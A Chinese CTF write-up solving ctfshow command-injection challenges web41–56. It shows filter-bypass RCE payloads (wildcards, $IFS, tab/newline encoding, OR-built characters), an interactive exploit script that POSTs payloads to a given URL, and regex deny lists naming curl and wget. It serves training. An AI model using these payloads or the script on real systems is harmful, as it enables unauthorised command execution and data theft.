ctfshow-命令执行·41-56

web41 10

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>
  • 过滤符号$、+、-、^、~异或自增和取反构造字符都无法使用,过滤了字母和数字。但是特意留了个或运算符|
  • 从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符

exp.py rce_or.php,生成可用字符的集合exp(从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符)

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
        for ($j=0; $j <256 ; $j++) { 

                if($i<16){
                        $hex_i='0'.dechex($i);
                }
                else{
                        $hex_i=dechex($i);
                }
                if($j<16){
                        $hex_j='0'.dechex($j);
                }
                else{
                        $hex_j=dechex($j);
                }
                $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                                        echo "";
    }
  
                else{
                $a='%'.$hex_i;
                $b='%'.$hex_j;
                $c=(urldecode($a)|urldecode($b));
                if (ord($c)>=32&ord($c)<=126) {
                        $contents=$contents.$c." ".$a." ".$b."\n";
                }
        }

}
}
fwrite($myfile,$contents);
fclose($myfile);

或者

import re
import sys
import urllib.parse


def or_rce(par1, par2):
    """按位或运算生成字符"""byte1 = urllib.parse.unquote(par1)
    byte2 = urllib.parse.unquote(par2)
    return chr(ord(byte1) | ord(byte2))


def xor_rce(par1, par2):
    """异或运算生成字符"""byte1 = urllib.parse.unquote(par1)
    byte2 = urllib.parse.unquote(par2)
    return chr(ord(byte1) ^ ord(byte2))


def negate_rce():
    """取反运算生成字符组合"""system = input('[+]your function: ').strip()
    command = input('[+]your command: ').strip()

    # 计算取反后的URL编码
    def negate_and_encode(s):
        return ''.join([f'{~ord(c) & 0xFF:02X}' for c in s])

    system_negated = negate_and_encode(system)
    command_negated = negate_and_encode(command)

    print(f'[*] (~{system_negated})(~{command_negated});')


def generate(mode, preg=r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'):
    """生成字符组合表"""if mode != 3:
        with open('rce.txt', 'w', encoding='utf-8') as f:
            for i in range(256):
                for j in range(256):
                    hex_i = f'{i:02x}'
                    hex_j = f'{j:02x}'

                    byte_i = bytes.fromhex(hex_i).decode('latin-1')
                    byte_j = bytes.fromhex(hex_j).decode('latin-1')

                    # 检查是否匹配过滤规则
                    if re.search(preg, byte_i, re.IGNORECASE) or re.search(preg, byte_j, re.IGNORECASE):
                        continue

                    par1 = f'%{hex_i}'
                    par2 = f'%{hex_j}'

                    # 根据模式选择运算方式
                    if mode == 1:
                        res = or_rce(par1, par2)
                    elif mode == 2:
                        res = xor_rce(par1, par2)
                    else:
                        continue

                    # 检查结果是否为可打印字符
                    if 32 <= ord(res) <= 126:
                        f.write(f"{res} {par1} {par2}\n")
    else:
        negate_rce()


# 执行生成(默认模式1,使用原PHP中的正则过滤规则)
generate(1, r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-')

用法:python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

参考文章:https://blog.csdn.net/miuzzx/article/details/108569080

web42 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1是进行了重定向(由符号’>’判断),将获得的命令重定向到/dev/null(是Linux中的’黑洞设备’,所有写入他的数据都会被丢弃)

利用逻辑或操作符||进行绕过,||如果前一个命令执行成功,则跳过执行后一个命令,反之则执行后一个命令。

payload

?c=cat flag.php ||

||也可以由以下替换;%0a(url编码,表示换行) %26(url编码,表示&)

| 表示只执行后面的命令 || 表示只执行前面的命令 &和&& 表示两条命令都会执行

web43 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤; cat

Payload

?c=nl *||

其他payload

c=nl flag.php%0a

c=more flag.php%0a

c=sort flag.php%0a

c=less flag.php%0a

c=tac flag.php%0a

c=tail flag.php%0a

c=strings flag.php%0a

||也能用

web44 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤; cat flag ,上一题payload还是可以使用

?c=nl *||

或者

c=nl fla*%0a

c=more fla*%0a

c=sort fla*%0a

c=less fla*%0a

c=tac fla*%0a

c=tail fla*%0a

c=strings fla*%0a

||也能用

web45 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

加了一个,过滤了空格,%09绕过

?c=nl%09*||

其他payload

?c=nl%09fl*%0a ?c=nl<fla\g.php%0a ?c=echo${IFS}`nl${IFS}fl*`%0a // 反引号表示无回显的命令执行,常配合echo来打印输出

?c=echo$IFS`tac$IFS*`%0A

web46 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

新增过滤$ * 数字

Payload

?c=nl%09????.???%0a
  • %09可以使用是因为他是URL 编码的制表符(Tab),在 shell 中与空格等效,但未被正则表达式匹配(过滤规则中使用的是普通空格 ,而非制表符)
  • %0a是 URL 编码的换行符(\n),用于终止 shell 命令。虽然换行符未被显式过滤,但 PHP 的 system() 函数会将其视为命令结束。

其他payload

?c=nl%09fla\g.php%0a ?c=nl%09fla”g.php%0a

?c=nl<fla”g.php||

“<“作为重定向输入符号,用于将文件内容作为命令输入,在这里是将后面的文件(fla”g.php)内容作为 nl 的输入。nl<fla''g.php # 等价于 nl flag.php

在 shell 中,重定向符号用于改变命令的输入 / 输出流向:

  • <:将文件内容作为命令的标准输入(stdin)。
  • >:将命令的输出写入文件(覆盖原有内容)。
  • >>:将命令的输出追加到文件末尾。

web47 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag [1-9] $ * more less head sort tail,

?c=nl%09fla\g.php%0a

上题的flag基本都能用

?c=nl%09????.???%0a

?c=nl%09fla\g.php%0a

?c=nl%09fla”g.php%0a

?c=nl<fla*%0a

?c=nl<fla\g.php%0a

web48 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag [空格] [0-9] $ * more less head sort tail sed cut awk strings od curl [反引号]

?c=nl%09????.???%0a

上一题的payload仍然可以使用

web49 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了个%

?c=cp%09fl??.php%09x.txt

上题的payload还是可以使用,%09会被服务器会先将%09解码为制表符\t,所以接收到的并不是单纯的%和数字

等价于cp fl??.php x.txt,cp是复制文件

将 flag.php 复制为 x.txt

web50 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag [空格] [0-9] $ * more less head sort tail sed cut awk strings od curl [反引号] % \x09 \x26,\x09便是%09(tab键)\x26(&)

?c=nl<fla\g.php%0a  或者  ?c=nl<fla''g.php||

web51 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一个tac

?c=nl<fla\g.php%0a  或者  ?c=nl<fla''g.php||

web52 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤; cat flag [空格] [0-9] * more less head sort tail sed cut tac awk strings od curl [反引号] % \x09 \x26 > <,把$放出来了

?c=nl${IFS}fla\g.php%0a

但是没找到,查看根目录有一个flag,直接查看

?c=nl${IFS}/fl??%0a  或者?c=nl${IFS}/fla''g||  或者?c=ca\t$IFS/fla''g||

有“/”表明查找根目录下的文件,无“/”表明查找当前目录下的文件

web53 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag [空格] [0-9] * more wget less head sort tail sed cut tac awk strings od curl ` % \x09 \x26 > <

?c=nl${IFS}fla''g.php 或者?c=nl${IFS}fla\g.php

或者

?c=s\ort${IFS}f???????%0a

sort:这是一个基础的 shell 命令,专门用于对文本行进行排序。它默认按照字典序排列文本行,不过可以借助选项来改变排序规则,例如按数值排序、忽略大小写等。因为题目中含有system,所以排序结果会回显

web54 10

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
?c=mv${IFS}fla?.php${IFS}a.txt 或者?c=cp${IFS}fla?.php${IFS}a.txt

或者

?c=/bin/c??${IFS}????????

这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

另外grep命令可以才文件中查找含有的字符串

形式:grep [字符串] [filename]

?c=grep${IFS}ctfshow${IFS}????????

web55 10

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无字母rce,直接使用通配符进行base64编码

?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php

或者

?c=/???/???/????2 ????.???
意思为:?c=/usr/bin/bzip2 flag.php

最后访问/flag.php.bz2即可
下载下来的压缩包中包含有flag.php

或者用数字编码进行拼接命令

?c=$'\143\141\164'%20$'\146'*
=>tac f*

还有一种方法,参考文章:https://blog.csdn.net/qq_46091464/article/details/108513145

.(点)的用法,相当于source,可以执行sh命令

/bin目录下存放的都是协议shell脚本的内容,sh就是执行shell脚本,可以理解为打开终端 只有打开终端我们再能输入命令

命令执行漏洞提供系统命令执行能力
通配符利用绕过路径限制,模糊批匹配
文件上传辅助生成可执行命令脚本

构造一个临时的文件上传包,内容如下,拓展名为html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://27622056-3638-418a-95d0-7a217d279e6a.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

这里尝试上传文件后缀为txt来执行命令,发现执行失败,尝试上传文件后缀为php可以执行文件

原因可能是.txt 后缀未被配置为 “可执行脚本后缀”,作为静态文本,是不会被系统识别成可执行的命令脚本的,PHP后缀则会触发解析

直接查询

web56 10

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

用上一题的方法三

直接查询

上一篇
下一篇